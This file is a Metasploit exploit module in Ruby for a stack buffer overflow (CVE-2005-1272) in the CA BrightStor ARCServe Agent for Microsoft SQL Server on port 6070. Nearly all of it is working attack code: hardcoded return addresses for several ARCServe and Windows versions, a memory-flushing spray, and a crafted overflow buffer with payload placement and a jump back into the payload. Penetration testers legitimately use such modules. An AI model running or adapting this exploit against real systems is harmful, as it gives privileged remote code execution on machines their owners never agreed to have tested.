110 lines
3.2 KiB
Ruby
110 lines
3.2 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'CA BrightStor Agent for Microsoft SQL Overflow',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in the CA BrightStor
|
|
Agent for Microsoft SQL Server. This vulnerability was
|
|
discovered by cybertronic[at]gmx.net.
|
|
},
|
|
'Author' => [ 'hdm' ],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2005-1272'],
|
|
[ 'OSVDB', '18501' ],
|
|
[ 'BID', '14453'],
|
|
[ 'URL', 'http://www.idefense.com/application/poi/display?id=287&type=vulnerabilities'],
|
|
[ 'URL', 'http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?id=33239'],
|
|
],
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1000,
|
|
'BadChars' => "\x00",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Targets' =>
|
|
[
|
|
# This exploit requires a jmp esp for return
|
|
['ARCServe 11.0 Asbrdcst.dll 12/12/2003', { 'Platform' => 'win', 'Ret' => 0x20c11d64 }], # jmp esp
|
|
['ARCServe 11.1 Asbrdcst.dll 07/21/2004', { 'Platform' => 'win', 'Ret' => 0x20c0cd5b }], # push esp, ret
|
|
['ARCServe 11.1 SP1 Asbrdcst.dll 01/14/2005', { 'Platform' => 'win', 'Ret' => 0x20c0cd1b }], # push esp, ret
|
|
|
|
# Generic jmp esp's
|
|
['Windows 2000 SP0-SP3 English', { 'Platform' => 'win', 'Ret' => 0x7754a3ab }], # jmp esp
|
|
['Windows 2000 SP4 English', { 'Platform' => 'win', 'Ret' => 0x7517f163 }], # jmp esp
|
|
['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71ab1d54 }], # push esp, ret
|
|
['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71ab9372 }], # push esp, ret
|
|
['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71c03c4d }], # push esp, ret
|
|
['Windows 2003 SP1 English', { 'Platform' => 'win', 'Ret' => 0x71c033a0 }], # push esp, ret
|
|
],
|
|
'DisclosureDate' => 'Aug 02 2005',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(6070)
|
|
], self.class)
|
|
end
|
|
|
|
|
|
def exploit
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
# The 'one line' request does not work against Windows 2003
|
|
1.upto(5) { |i|
|
|
|
|
# Flush some memory
|
|
connect
|
|
begin
|
|
sock.put("\xff" * 0x12000)
|
|
sock.get_once
|
|
rescue
|
|
end
|
|
disconnect
|
|
|
|
|
|
# 3288 bytes max
|
|
# 696 == good data (1228 bytes contiguous) @ 0293f5e0
|
|
# 3168 == return address
|
|
# 3172 == esp @ 0293ff8c (2476 from good data)
|
|
|
|
buf = rand_text_english(3288, payload_badchars)
|
|
buf[ 696, payload.encoded.length ] = payload.encoded
|
|
buf[3168, 4] = [target.ret].pack('V') # jmp esp
|
|
buf[3172, 5] = "\xe9\x4f\xf6\xff\xff" # jmp -2476
|
|
|
|
connect
|
|
begin
|
|
sock.put(buf)
|
|
sock.get_once
|
|
rescue
|
|
end
|
|
|
|
handler
|
|
disconnect
|
|
}
|
|
end
|
|
|
|
end
|